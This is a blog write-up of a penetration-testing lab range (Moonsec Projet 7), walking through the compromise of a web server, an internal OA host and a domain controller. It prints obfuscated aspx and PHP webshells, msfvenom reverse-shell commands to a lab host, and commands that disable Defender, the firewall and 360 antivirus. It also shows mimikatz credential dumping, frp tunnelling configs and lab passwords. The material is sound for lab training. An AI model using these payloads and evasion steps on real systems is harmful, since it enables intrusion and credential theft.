Moonsec_Projet_7_Writeup

Moonsec_Projet_7

1、基础介绍

1.1 网络拓扑图

image-20230923104638848

主机账号密码网卡IP
Windows Server 2016administrator!@#QWE123vmnet17(web) | vmnet18192.168.0.144(www.moonlab.com) | 10.10.1.131
Windows Server 2012administrator!@#QWEasdvmnet18 | vmnet1910.10.1.130 | 10.10.10.166
Windows Server 2016-dcadministrator!@#QWEasd456/!@#QWEqwe123.vmnet1910.10.10.165

2、Windows Server 2016 门户网站打点

2.1 nmap

2.1.1 主机探测
nmap -sn 192.168.0.0/24

image-20240219101811912

2.1.2 端口扫描
sudo nmap -sT -sC -sV -O --min-rate=100 -p21,80,999,5989,6588 192.168.0.114 -oN nmapscan/detail

image-20240219102702598

2.1.3 udp端口扫描
sudo nmap -sU --min-rate=100 -p- 192.168.0.114 -oN nmapscan/udp

image-20240219110058660

2.1.4 默认漏洞脚本探测
sudo nmap --script=vuln --min-rate=100 -p21,80,999,5989,6588,137 192.168.0.114 -oN nmapscan/vuln

image-20240219111012537

2.2 目录爆破

2.2.1 设置了10线程,还是寄啦

image-20240219111839023

2.2.2 gobuster也不行

image-20240219112448449

2.2.3 dirb跑一下也寄啦

image-20240219112623022

回到服务端看发现扫描流量被当作cc攻击被拦截了

image-20240219112924720

2.3 绑定域名

其实上边的目录爆破都是无用功,ip无法访问到这个环境的服务,我也是后边才发现这一点的

这个靶场web服务器的域名是www.moonlab.com在hosts绑定对应的IP方能访问web服务

192.168.0.114   www.moonlab.com

image-20240219151028274

image-20240219151205000

2.4 whatweb

网站存在安全狗

image-20240219151331379

image-20240219151359933

2.5 访问/robots.txt文件

上面说了,ip访问没有任何东西,会重定向。我们使用域名和nmap扫描的结果进行看看。其实 robots.txt 这个文件不管在哪都可以去尝试访问的。

User-agent: *
Disallow: /SiteServer/
Disallow: /SiteFiles/
Disallow: /UserCenter/

image-20240219153900285

2.6 域名绑定后的目录爆破

2.6.1 dirb

线程设置为1秒后,服务器不会有太大的警报

dirb http://www.moonlab.com/ /usr/share/wordlists/dirb/small.txt -z 1000
# -z  线程设置为1秒

image-20240219172244472

2.6.2 尝试py脚本目录扫描

网上了解了扫描目录WAF(安全狗)绕过的方法:

  1. 降低请求频率,防止IP被ban
  2. 爬虫白名单绕过
  3. 代理池请求

WAF绕过思路整理(挺全)

waf绕过总结及工具介绍

由于robots.txt文件有新的引导,这一步暂时可以先放放,后面没思路了可以在回头

#!/usr/bin/env python3
#encoding:utf-8
from cgitb import reset
import requests
import sys
import time

# url = "http://www.moonlab.com/"

with open ('dicc.txt', 'r', encoding='UTF-8') as readfile:
    for dirs in readfile.readlines():
        url = 'http://www.moonlab.com/'+dirs.strip('\n')
        resp = requests.get(url)
        strlen = len(resp.text)
        print(url + '---statu---' + str(resp.status_code) + '---lens---' + str(strlen))
        #sys.exit()
        time.sleep(1)
        if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301:
            if str(strlen) !=  "2939":
                with open('result.txt', 'a', encoding='UTF-8') as writefile:
                    writefile.write(url + '---statu---' + str(resp.status_code) + '---lens---' + str(strlen) + '\n')

image-20240219161338212

还是有很多很多无用数据,还得手动排除

image-20240219165334594

不过服务端还是会存在一些拦截信息,并不是直接办掉ip。如果网站管理员不在场的情况下是不会及时发现的。

image-20240219165937459

2.7 /SiteServer/

image-20240219154227706

2.7.1 SiteServer禁用JS获取后台账号密码

使用插件Quick Javascript Switcher

在忘记密码页面处,先输入后台账号名admin,然后禁用掉JS,之后点击下一步:

image-20240219164700289

之后什么都不用填,一直下一步就可以:

image-20240219164723763这个时候就能够成功获取到目标后台的账号密码

账号:admin

密码:admin5566

image-20240219164743570

成功登陆后台系统:

image-20240219205038745

2.7.2 SiteServer后台模板Getshell

生成一个蚁剑的aspx一句话木马,密码为cmd

<% function E6a7aJ71(){var GEPH="unsa",YACK="fe",CF9j=GEPH+YACK;return CF9j;}var PAY:String=Request["cmd"];~eval/*Z3404I2075*/(PAY,E6a7aJ71());%><%@Page Language = JS%>

站点管理 --> 显示功能 --> 模板管理 --> 添加单页模板 --> 添加生成aspx木马以及对应参数 --> 确定

image-20240219215039652

这里面写入的aspx一句话木马最好是能够绕过安全狗和windows defender,我直接使用webshell生成器生成的蚁剑的aspx一句话木马,添加模板写入后,没被WAF,输入完点击确定,返回模板管理

image-20240219214334160

点击刚刚生成的文件名即可大概确认木马已成功上传

image-20240219215442427

进行蚁剑连接 --> 成功

image-20240220224431680

2.8 /SiteFiles/

image-20240219154235172

2.9 /UserCenter/

image-20240219154243498

3、Webshell 上的摸索与拿下

3.1 进入webshell

image-20240219234519547

3.2 蚁剑插件信息收集

3.2.1 基本信息

image-20240219234722859

3.2.2 杀软识别

image-20240219234834451

3.2.3 MS17-010扫描

这里不能使用这个模块进行扫描,直接就被办掉了,被当作cc攻击了

3.2.4 ipconfig /all

发现有双网卡

image-20240219235542906

3.3 aspx shellcode getsystem 提权

这种方法首先上线webshell就得上msf的c2马

3.3.1 制作msf的aspx木马
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.128 lport=12345 -f aspx > msf_shell.aspx

image-20240220094225051

3.3.1 写入木马

image-20240220094901988

3.3.1 建立监听

image-20240220094922875

3.3.1 上线msf

image-20240220095003906

3.3.1 getsystem提权+进程迁移

由于这台winserver2016就是已管理员权限运行的,所以getsystem很容易就提权成功。随后进程迁移后就以及隐藏掉了w3wp.exe这个危险进程了

image-20240220095444785

3.4 PrintSpoofer.exe 本地提权(含免杀)

3.4 关闭杀软和防火墙

貌似效果不是很好啊,这个shell都已经是system了,可是还是无法关闭

meterpreter > run post/windows/manage/killav
meterpreter > shell
meterpreter > chcp 65001
C:\Windows\system32>net stop windefend		------关闭Denfender
C:\Windows\system32>bcdedit.exe /set {current} nx AlwaysOff		------关闭DEP
C:\Windows\system32>netsh advfirewall set allprofiles state off / on 	------关闭 / 打开 防火墙
C:\Windows\system32>netsh advfirewall show allprofiles 	----查看防火墙状态

image-20240220225920650

直接操作注册表关闭杀软,很成功。注意一定要重启电脑,不然无法生效

禁用Windows Defender,以管理员身份运行命令提示符,输入以下命令,回车后重启
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

若需重新启用Windows Defender,以管理员身份运行命令提示符,输入以下命令,回车后重启
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 0 /t REG_DWORD /f

image-20240220230458953

3.5 收集hash明文

3.5.1 creds_all
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > load kiwi
meterpreter > creds_all

明文密码(还发现了有Domain的存在):
Administrator     WIN-FHOQSB51A6Q  !@#QWE123
moonlab           WIN-FHOQSB51A6Q  DvS6yrCjxq3sOQBnIGc

image-20240220101701322

3.5.2 hashdump

image-20240220102757964

3.5.3 cs收集密码凭证

随便来一个mimikatz工具就可以直接获取

image-20240223100049044

3.6 上线CS

3.6.1 msf -> cs
3.6.2 直接cs

cs生成一个无免杀的木马,尝试蚁剑上传执行后,想着该关的都关闭了,运行木马程序后还是失败了

image-20240220231154392

后面网上查了好些资料才发现,需要重新启动电脑让关闭Windows Defender的命令生效。重启后,cs成功上线,终于不会被杀掉了

image-20240221144833081

3.7 远控

3.7.1 rdesktop

既然都有明文密码了,直接尝试远控连接

成功开启了远程桌面
meterpreter > run post/windows/manage/enable_rdp

执行这条命令加上-r加上给出的这个文件,可以关闭远程桌面.用它给的这个文件我们可以关闭远程桌面并清除痕迹。运用下面这个命令查看帮助信息
meterpreter > run multi_console_command -r /root/.msf4/loot/20210413223147_default_192.168.1.7_host.windows.cle_552272.txt

image-20240220231452979

image-20240220231845252

爆了点小错误,网上也有解决办法,最简单的就是因为对方的仅允许运行使用网络级别身份验证的远程桌面的计算机连接(建议)(N)关闭即可,这里应该是由于开启3389端口是使用msf的后渗透命令执行的,这里暂时先手动关闭

image-20240220232352676

输入账号密码:Administrator     !@#QWE123

image-20240220232502529

成功拿下一台主机,想关啥就可以关啥了

image-20240220232625481

4、1.0网段内网渗透

通过cs扫描1.0段,发现1.0段有一台设备,也有80端口的服务

image-20240221150819178

4.1 frp建立隧道

frpc
[common]
server_addr = 192.168.0.128
# 服务器地址
server_port = 7000
# 监听的端口
token = Aa@123.
# 密钥
 
[socks5]
# socks隧道
type = tcp
# 隧道类型
plugin = socks5
# 使用socks5插件
remote_port = 5000
plugin_user = abc
#隧道用户名
plugin_passwd = abc123
# 隧道密码
use_encryption = true
use_compression = true
# 流量加密

image-20240221160527265

frps
[common]
bind_port = 7000
# 监听的端口
token = Aa@123.
# 密钥
dashboard_port = 7001
# dashboardb端口
dashboard_user = carmi
# dashboard帐号
dashboard_pwd = carmi@123
# dashboard密码

image-20240221160834246

浏览器访问1.0网段的通达OA

image-20240221162443235

image-20240221162459871

4.2 通达OA的rce

既然是通达OA,那么根据之前HW的漏洞,找到了一个针对于通达OA的rce利用的exp

下载exp
git clone https://github.com/wikiZ/tongda-exp-poc

image-20240221223136907

poc验证

这里琢磨了好久,可算找到连接不上的原因了。第一次使用/etc/proxychains4.conf,刚开始不知道还需要填写账号密码,后面找了好多原因,添加socks5的账号密码,可算明白了

image-20240221232633463

exp利用
路径:http://10.10.1.130/ispirit/interface/xiaoma.php
密码cmd

image-20240221233918029

这里使用默认的shell会被目标主机的360查杀掉,使用这个脚本默认的木马,连接不上会一直显示为空的情况。这边也是琢磨了好一会儿,看了下这个脚本的源码是要经过base64解密的。那我们直接使用webshell生成器,生成蚁剑的木马,如何手动经过编码后送入脚本的payload的位置中一个一个的去尝试。后来尝试出来,这个蚁剑脚本可以连接的

<?php class GS814503 { public function __construct($H5EBt){ @eval("/*Z1zv37810V*/".$H5EBt."/*Z1zv37810V*/"); }}new GS814503($_REQUEST['cmd']);?>

4.3 蚁剑尝试连接

设置代理。这里的代理测试,测试的是http://10.10.1.130

image-20240222094318021

成功连接蚁剑

image-20240222104013400

4.4 1.0内网信息收集

whoami /all

image-20240222104825955

systeminfo

终端页面内容太多了显现不了,直接输出成文件查看。发现该主机打了好多的补丁

image-20240222105238219

ipconfig /all

image-20240222105504080

tasklist /svc

查看进程列表,杀软识别

image-20240222105734122

netstat -ano

image-20240222110344731

net start

image-20240222110442117

4.5 关闭杀软和防火墙

net stop windefend		------关闭Denfender
bcdedit.exe /set {current} nx AlwaysOff		------关闭DEP
netsh advfirewall set allprofiles state off / on 	------关闭 / 打开 防火墙
netsh advfirewall show allprofiles 	----查看防火墙状态

效果都不怎么样,之关闭了一个防火墙

image-20240222112719949

禁用Windows Defender,以管理员身份运行命令提示符,输入以下命令,回车后重启
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

shutdown /r /t 0	立即重启主机

image-20240222113051257

想直接关闭360全家桶,可是都不太行

tskill pid
taskkill /pid 1160 -t
taskkill /f /t /im 360tray.exe


taskkill /f /t /im 360tray.exe
taskkill /f /t /im ZhuDongFangYu.exe
taskkill /f /t /im 360sd.exe
taskkill /f /t /im 360rp.exe

360tray.exe <=> 360安全卫士-实时保护
ZhuDongFangYu.exe <=> 360安全卫士-主动防御
360sd.exe <=> 360杀毒
360rp.exe <=> 360杀毒

4.6 shellcode正向木马上线主机

使用MSF生成一个shellcode正向木马
sudo msfvenom -p windows/meterpreter/bind_tcp lport=11111 -e x86 /ikata_ga_nai -i 5 -f raw > test.c

image-20240222215041563

MSF设置监听
proxychains msfconsole 
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 11111
set rhost 10.10.1.130

image-20240222215448768

把test.c和shellcode加载器上传到目标主机上线

shellcode_launcher.exe

老树开新花之shellcode_launcher免杀Windows Defender

shellcode_launcher.exe -i test.c

image-20240222220327911

image-20240222220509595

4.7 收集hash

load kiwi
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > load kiwi
meterpreter > creds_all

获取不到密码

image-20240222222632830

hashdump
明文密码:
administrator     !@#QWEasd

image-20240222223025721

cs收集密码凭证

注意,这台设备由于版本问题,mimikatz无法抓取明文密码,但是也是有办法解决的。就是说我们可以通过修改注册表来显示明文以及需要强制锁屏重新使内存获取密码来解决,或者也可以直接去hash碰撞解密,都是没问题的

image-20240223095915689

获取到明文和密文密码

image-20240223095452948

4.8 远控

rdesktop

既然都有明文密码了,直接尝试远控连接

meterpreter > run post/windows/manage/enable_rdp

这里估计是代理原因,但是实际上对方主机轻轻松松开启了3389远程桌面连接发服务。问题还是有,就是还得在靶机上关闭仅允许运行使用网络级别身份验证的远程桌面的计算机连接(建议)(N)

image-20240222223601686

用户名:oa\administrator
密码:!@#QWEasd

image-20240222223928045

成功拿下

image-20240222224108748

4.9 正向代理上线CS

创建监听器

image-20240222232606393

生成可执行持续(Stageless)

必须是带Stageless,不然无法使用正向的监听器

image-20240222232711449

上传木马到目标主机

image-20240222232933083

connect主动连接

正向连接,需要自己主动去连接

image-20240222233137221

5、10.0段内网渗透

1.0段cs的信息收集

目标探测

扫描一下,发现又有一台未知主机

image-20240222233706505

域内信息收集

命令尝试看看是否是域内主机

shell net view
shell net view /domain
shell net user /domain  	查询域内又几个用户(只能是域用户才有权限查询)
shell net group "domain computers" /domain  	查询域中的计算机名字
shell net group "domain Controllers" /domain  	查询域控的名字
shell nslookup -type=SRV _ldap._tcp  	查询域控

练习过域渗透的应该明白,net view爆出了6118的错误,说明域控上是存在防火墙的。还有从命令回显当作也可以看出域的名称为attack。local

image-20240223101441861

ping域控

也证实了10.10.10.165这台主机就是域控

image-20240222234513596

msf添加路由

run get_local_subnets	查看网段
run autoroute -s 10.10.10.0/24
run autoroute -p

image-20240223151546243

msf信息收集

getuid
sysinfo
hashdump
run post/windows/gather/enum_domain		定位一下域控
run post/windows/gather/enum_logged_on_users 	查看登陆的用户和sid信息
run post/windows/gather/enum_ad_computers	查看域内主机有那些

image-20240223150956297

令牌窃取

use incognito
list_tokens -u

image-20240223151233722

没戏,该环境没有域控的令牌。这边我们也无法继续尝试下去了

10.0段frp建立隧道

蚁剑上传frp等工具

image-20240223103943163

frps

image-20240223173231156

frpc

image-20240223173322499

添加好进10.0段的路由

image-20240223173506971

尝试nmap一下

这边也是搞了好久好久,对域控的一些操作还不是那么的明白,很多操作暂时也都学的迷迷糊糊的。这里我们尝试跳过防火墙,尝试nmap一下看看能否远程连接,发现还真可以

image-20240223174138546

发现域控明文密码

估计是管理员的一是疏忽,或者为了一人多级方便操作怕忘记把,这边很幸运发现了dc的明文密码

image-20240223174446435

直接远控上线

image-20240223174838064

结束

image-20240223175055907

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值